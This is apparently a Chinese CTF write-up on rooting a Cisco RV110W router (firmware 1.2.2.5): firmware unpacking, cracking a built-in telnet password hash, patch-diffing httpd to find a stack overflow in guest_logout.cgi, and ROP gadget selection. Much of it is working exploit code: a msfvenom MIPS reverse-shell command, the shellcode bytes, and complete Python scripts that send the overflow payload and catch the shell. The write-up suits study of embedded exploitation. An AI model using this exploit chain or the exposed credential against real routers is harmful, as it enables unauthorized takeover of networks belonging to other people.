记录真机调试一个强网杯决赛的路由器题目
实验环境Ubuntu 18.04
题目
题目描述:挖掘并利用CISCO RV110W-E-CN-K9(固件版本1.2.2.5)中的漏洞,获取路由器的Root Shell,实现DNS劫持。
靶机环境:CISCO RV110W-E-CN-K9(固件版本1.2.2.5),设置后台管理密码、WIFI密码,默认关闭telnet。
附件信息:附件中提供了路由器固件(固件版本1.2.2.5,与靶机版本一致),路由器设备后台管理账号为cisco,密码为qwb2020 ,WiFi密码未设置。
展示环境拓扑:展台路由器WAN口连接互联网,选手攻击机和操作员验证机通过网线连接路由器LAN口,IP地址设置自动获取。
展示目标:选手携带自己的攻击机上台,通过有线方式连接路由器设备。在规定的时间内攻击展台路由器,获取路由器的Root Shell执行系统命令,劫持http://www.baidu.com为如下页面:
<html><br><br><br><h1 style="font-size:100px;color:red;" align="center">Hacked by BOI</h1></html>
操作人员使用验证机中的Firefox浏览器访问http://www.baidu.com查看攻击效果,确认实现DNS劫持后判定成功。
注意事项:上台展示题解的时候注意关闭exp的调试信息。
展示时操作人员操作步骤:
1) 重启路由器设备;
2) 将互联网网线连接路由器WAN口;
3) 验证机通过有线方式连接路由器设备LAN口;
4) 设置验证机的DNS服务器IP地址为路由器IP;
5) 清除浏览器历史记录,清除本机的DNS缓存;
6) 等待选手连接路由器;
7) 等待选手攻击;
8) 在规定时间内可以配合选手重启路由器设备(每次重启首先要重复步骤4,5);
9) 选手攻击完毕后,操作人员使用验证机中的浏览器访问网页验证效果;
10)攻击成功或超时后:关闭路由器。
这里只获取了路由器shell,没有完成DNS劫持
设备获取
从某鱼收了一个
浏览器进192.168.1.1
,初始用户名密码为cisco:cisco,跟着向导配置好就可以上网了
点固件升级,将题目附件刷到路由器上去
自动重启设备后,可以看到此时固件版本已经变成题目的版本了
基础分析
对一个真实设备的分析可以有不同方面的各种手段:
- 本体:设备拆解,固件提取,固件分析
- 通信:流量抓取,端口扫描,近场无线信号分析
- 使用:应用程序(app)逆向,云端接口分析
- 历史:历史漏洞,分析对比历史版本的固件或app
- 调试:各种调试接口(ssh/telnet/adb/uart/jtag),前置漏洞getshell,uboot修改init,qemu模拟
端口扫描
如果是面对一个真实的设备,我们需要了解其所有可能的攻击面,故我们需要扫描其全部的udp和tcp端口:
在对设备进行扫描的时候,若要了解其所有可能的攻击面,则需要扫描全部的udp和tcp端口
sudo nmap "192.168.1.1" -sU -sT -p0-65535
但是对于路由器题目,漏洞一般还是出现Web接口上,故扫描常用端口
nmap "192.168.1.1"
固件开启了telnet服务
在访问web服务的时候,80端口被重定向到了443端口
所以web服务对应的端口应该就是443端口
固件解包
binwalk需要安装sasquatch
以解开非标准的SquashFS文件系统
sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
git clone https://github.com/devttys0/sasquatch
cd sasquatch && ./build.sh
(Ubuntu 18.04安装时没有报错)
直接binwalk分离
binwalk -Me RV110W_FW_1.2.2.5.bin
进入文件系统
cd ./_RV110W_FW_1.2.2.5.bin.extracted/squashfs-root
漏洞信息
Clang裁缝店的师傅找到CVE-2020-3330(telnet弱口令)、CVE-2020-3331(web服务)和CVE-2020-3323(web服务)三个相关的漏洞
CVE-2020-3330
分析文章:
find . | xargs grep -ri "admin:\\\$"
在整个文件系统下搜索包含这个字符串的文件
这段命令将find命令的结果用管道传给xargs,xargs命令每次只获取一部分文件来交给grep处理
匹配的文件都在/sbin
目录下而/sbin
目录下的文件大多软链接到rc文件
strings sbin/rc | grep "admin:\\\$"
可以看到密码的哈希值$1$aUzX1IiE$x2rSbqyggRaYAJgSRJ9uC.
,hashcat破解得到用户名密码为admin:Admin123
,可以直接进入路由器,方便调试
CVE-2020-3331/CVE-2020-3323
确认目标程序
因为CVE-2020-3331和CVE-2020-3323都说的是Web,而且目标也只开放了443端口,故我们先找到Web对应的二进制程序,有两种方式:
- 固件搜索Web相关的二进制程序
- 在设备shell中查看端口绑定的进程对应的程序
- 由于在访问web配置页面的时候url为
https://192.168.1.1/login.cgi
,所以在文件系统中直接搜索grep -Rn "login.cgi"
发现只有二进制文件
usr/sbin/httpd
匹配 - 使用netstat查看端口绑定的进程对应程序,发现并没有netstat工具可以下载一个工具比较全面的busybox虽然我的路由器配置了wan口,但是路由器上只有wget,而wget直接访问下载链接会提示
not an http or ftp url
所以把busybox下载到虚拟机上,在路由器上通过wget下载它由于虚拟机默认与mac共用同样的ip地址,我们需要在虚拟机的网络适配器设置中将连接方式改为自动检测,这样虚拟机在局域网中就有了自己的ip地址使用
ifconfig
命令查看即可看到ubuntu在局域网中的地址然后使用python打开web服务
python -m SimpleHTTPServer
接着就可以从虚拟机将busybox下载到路由器上了
但是要注意除了
/tmp
目录一般是可写的以外,其他目录一般不可写,而且再重启后/tmp
目录下的文件都会都会刷新将busybox下载到
/tmp
目录下cd tmp wget "http://192.168.1.107:8000/mips/busybox-mipsel" chmod +x busybox-mipsel
成功下载后可以使用busybox里面的netstat查看443端口对应的是httpd进程
在根目录下
find . | grep "httpd"
查找httpd可以看到二进制文件的路径usr/sbin/httpd
可以确定存在漏洞的二进制文件就是httpd文件了
程序分析
检查一下目标文件信息
可以用ghidra或者IDA高版本反汇编MIPS目标程序,不过真实固件程序分析起来还是很复杂的,除了从main函数硬看还有很多取巧一点的经验办法:
- 看符号,程序日志log,等有含义的字符串信息
- 和已经修复漏洞的固件进行对比
- 找和已知漏洞类似的模式,因为同一款产品很有可能犯同一种错误
这里因为可以拿到新版本的固件,所以我们采用第二种方式继续分析
可以下载已经修复了这两个漏洞的固件,由于bindiff的安装出现了不可描述的问题,这里使用diaphora工具对比两个固件文件系统中的httpd文件(最新版本的diaphora需要在IDA7.4以上支持的python3环境下运行,此链接为支持python2的分支)
我将存在漏洞的httpd文件命名为httpd1,已经修复漏洞的文件命名为httpd2,便于区分
直接下载项目,ida打开一个httpd文件,在file->Script file
里面选择diaphora.py
脚本
点击ok生成sqlite文件,再用ida打开另一个httpd文件,在生成sqlite文件前,加载第一个httpd文件的sqlite文件到SQLite database to diff against
等待分析结束后可以查看各种匹配度的界面
因为是目标是前台getshell,所以目标guest_logout_cgi
很可疑,右键选项中diff pseudo-code
可以直接查看c伪代码,,但是由于IDA7.5才有mips反汇编的功能,只能选择下面的diff assembly
看一下汇编代码
可以看到修补漏洞后的版本少了一个sscanf
伪代码是这样的
v5 = (const char *)get_cgi("cmac");
v10 = (const char *)get_cgi("cip");
v11 = (const char *)get_cgi("submit_button");
if ( !v11 )
v11 = "";
if ( v5 && v10 )
{
if ( VERIFY_MAC_17(v5) && VERIFY_IPv4(v10) )
{
if ( !strstr(v11, "status_guestnet.asp") )
goto LABEL_31;
sscanf(v11, "%[^;];%*[^=]=%[^\n]", v29, v28);
其中sscanf的条件"%[^;];%*[^=]=%[^\n]"
里,% 表示选择,%* 表示过滤,中括号括起来的是类似正则的字符集
-
%[^;]
:分号前的所有字符都要 -
;%*[^=]
:分号后,等号前的字符都不要 -
=%[^\n]
:等号后,换行符前的所有字符都要
也就是说,如果输入字符串”aaa;bbb=ccc\n”,最终会把”aaa”写入v29,”cccc”写入v28
这里的ccc并没有长度限制,可能造成栈溢出
故分析程序路径要到达这个sscanf得有三个参数且满足对应的要求:
- cmac:mac地址格式
- cip:ip地址格式
- submit_button: 包含status_guestnet.asp
那么
guest_logout_cgi
函数对应的url路由是什么呢?很遗憾我并没有从程序中分析出来,感觉有可能是init_cgi
这个函数设置的,但是继续交叉引用到父级函数就没有结果了,于是搜索字符串找到:guest_logout.cgi
,估计是他,但是还是没有交叉引用分析出来。
curl -k -v https://192.168.1.1/guest_logout.cgi
测试可以访问guest_logout.cgi
之后可以发包测试或打断点调试,判断这个sscanf的参数是通过GET还是POST传递的
因为这里可能触发漏洞,所以最优的选择就是直接发包测试,如果程序崩了,则证明GET还是POST路径选对了,而且真的存在漏洞。不过就算程序看起来没崩,也不要灰心,因为这里要确定是否有Web程序的守护进程存在,如果存在守护进程则可能看不到打崩的效果了。
测试GET请求
import requests
url = "https://192.168.1.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+'a'*100,"cip":"192.168.1.100"}
requests.packages.urllib3.disable_warnings()
requests.get(url, data=payload, verify=False, timeout=1)
没有反应
测试POST请求
import requests
url = "https://192.168.1.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+'a'*100,"cip":"192.168.1.100"}
requests.packages.urllib3.disable_warnings()
requests.post(url, data=payload, verify=False, timeout=1)
发送完web页面就奔溃了(reboot
重启路由器可以重新打开httpd服务)
可以判断参数是通过POST传递的
程序调试
可以从海特实验室搜集的各种平台的gdbserver中下载一个gdbserver上传到路由器上去,然后挂载到httpd进程上对其进行调试
但是里面的gdbserver太多了,最后试出gdbserver-7.12-mipsel-mips32rel2-v1-sysv
可以用
- 每次打崩服务后重启ip地址都可能变化,查看虚拟机在局域网中的ip地址并且用python打开web服务Shell1:
ifconfig python -m SimpleHTTPServer 8000
- telnet连接路由器后从虚拟机下载gdbserver后附加到httpd进程上Shell2(路由器):
cd /tmp wget "http://192.168.1.107:8000/mips/gdbserver-7.12-mipsel-mips32rel2-v1-sysv" chmod +x gdbserver-7.12-mipsel-mips32rel2-v1-sysv ps | grep "httpd" ./gdbserver-7.12-mipsel-mips32rel2-v1-sysv :1234 --attach 350
(在附加到342进程时无法调试)
- 使用gdb-multiarch加载httpd文件进行远程调试Shell3:
gdb-multiarch httpd1 set architecture mips set endian little target remote 192.168.1.1:1234 c
- 发送payloadShell4:使用
cyclic 100
生成的字符串"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
来测试偏移import requests url = "https://192.168.1.1/guest_logout.cgi" payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa',"cip":"192.168.1.100"} requests.packages.urllib3.disable_warnings() requests.post(url, data=payload, verify=False, timeout=1)
可以在gdb调试窗口上看到此时httpd已经崩溃了
计算出栈中pc的偏移
pwndbg> cyclic -l aaaw
85
漏洞利用
由于mips架构下不支持NX保护,所以其利用思路一般都是ROP+shellcode
而这里是sscanf溢出,payload中要绕过\x00
,但是程序本身的gadget都是含有\x00
的
思科的这个设备,httpd进程的libc基址就是
2af98000
,无论你是重启进程,还是升级版本,这个基址都不变问了常老师,再次猜测可能是为了效率,编译的时候就把内核的这个功能干掉了,或者当前平台压根就不支持这个功能。先存疑,总之我们发现动态库的基址都是不变的,故我们可以使用程序加载的动态库中的gadget。
暂时没有搞清楚mips架构下的地址随机化
所以可以通过ret2libc+shellcode来完成利用
从文件系统中找到动态链接库/lib/libc.so.0
,使用mipsrop插件寻找可用的gadget
然而我在libc的idb文件中使用mipsrop插件时报错
Traceback (most recent call last):
File "D:/IDA 7.0/plugins/mipsrop.py", line 721, in activate
mipsrop = MIPSROPFinder()
File "D:/IDA 7.0/plugins/mipsrop.py", line 208, in init
self._initial_find()
File "D:/IDA 7.0/plugins/mipsrop.py", line 226, in _initial_find
self.system_calls += self._find_system_calls(start, end)
File "D:/IDA 7.0/plugins/mipsrop.py", line 393, in _find_system_calls
if ea >= start_ea and ea <= end_ea and idc.GetMnem(ea)[0] in ['j', 'b']:
IndexError: string index out of range
应该是在搜索系统调用相关gadget的时候发生了错误,打开mipsrop.py文件,注释掉报错的地方,并直接返回一个空列表
插件可以正常工作了,就是应该少了系统调用相关的gadget
找到有用的gadget
| 0x000257A0 | addiu $a0,$sp,0x58+var_40 | jalr $s0 |
| 0x0003D050 | move $t9,$a0 | jalr $a0 |
只要将shellcode写到$sp+0x18处
,将s0覆盖为0x0003D050
,将返回地址覆盖为0x000257A0
,就可以在第一个gadget处先将shellcode的地址放到a0寄存器,然后跳转到第二个gadget跳转到shellcode上
shellcode可以用msfvenom生成或从shell-storm找到
(pwntools生成的shellcode是有\x00
的,而自带的encode函数也不支持mips架构)
msfvenom食用方法:
这里从msfvenom生成回连的shell
msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=192.168.1.102 LPORT=8888 --arch mipsle --platform linux -f py -o shellcode.py
shellcode:
buf = b""
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
buf += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
buf += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
buf += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c"
buf += b"\x22\xb8\xce\x35\xe4\xff\xae\xaf\x01\x66\x0e\x3c\xc0"
buf += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
buf += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
buf += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
buf += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
buf += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
buf += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
buf += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
buf += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
buf += b"\x01\x01"
exp:
import requests
from pwn import *
context(arch='mips',endian='little',os='linux')
libc = 0x2af98000
jmp_a0 = libc + 0x0003D050 # move $t9,$a0 ; jalr $a0
jmp_s0 = libc + 0x000257A0 # addiu $a0,$sp,0x38+var_20 ; jalr $s0
#LHOST=192.168.1.102 LPORT=8888
buf = b""
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
buf += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
buf += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
buf += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c"
buf += b"\x22\xb8\xce\x35\xe4\xff\xae\xaf\x01\x66\x0e\x3c\xc0"
buf += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
buf += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
buf += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
buf += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
buf += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
buf += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
buf += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
buf += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
buf += b"\x01\x01"
pd1 = "status_guestnet.asp"+'a'*49+p32(jmp_a0)+'b'*(85-49-4)+p32(jmp_s0)+'c'*0x18+buf
url = "https://192.168.1.1/guest_logout.cgi"
pd2 = {
"cmac":"12:af:aa:bb:cc:dd",
"submit_button":pd1,
"cip":"192.168.1.100"
}
requests.packages.urllib3.disable_warnings()
requests.post(url, data=pd2, verify=False, timeout=1)
下断点调试可以看到程序执行流已经成功跳转到栈上的shellcode
但是这样要先开一个shell等待连接
学习一下师傅在一个py脚本中通过多线程和网络编程完成攻击的方法
exp:
from pwn import *
import thread,requests
context(arch='mips',endian='little',os='linux')
libc = 0x2af98000
jmp_a0 = libc + 0x0003D050 # move $t9,$a0 ; jalr $a0
jmp_s0 = libc + 0x000257A0 # addiu $a0,$sp,0x38+var_20 ; jalr $s0
#LHOST=192.168.1.101 LPORT=8888
buf = b""
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
buf += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
buf += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
buf += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c"
buf += b"\x22\xb8\xce\x35\xe4\xff\xae\xaf\x01\x65\x0e\x3c\xc0"
buf += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
buf += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
buf += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
buf += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
buf += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
buf += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
buf += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
buf += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
buf += b"\x01\x01"
url = "https://192.168.1.1/guest_logout.cgi"
pd1 = "status_guestnet.asp"+'a'*49+p32(jmp_a0)+'b'*(85-49-4)+p32(jmp_s0)+'c'*0x18+buf
pd2 = {"cmac":"12:af:aa:bb:cc:dd","submit_button":pd1,"cip":"192.168.1.100"}
def attack():
try:
requests.packages.urllib3.disable_warnings()
requests.post(url, data=pd2, verify=False,timeout=1)
except:
pass
io = listen(8888)
#创建一个TCP或UDP套接字以接收数据
thread.start_new_thread(attack,())
#开始一个新的线程,从attack函数开始运行
io.wait_for_connection()
#阻塞直到建立连接
log.success("getshell")
io.interactive()
参考资料
发表评论
您还未登录,请先登录。
登录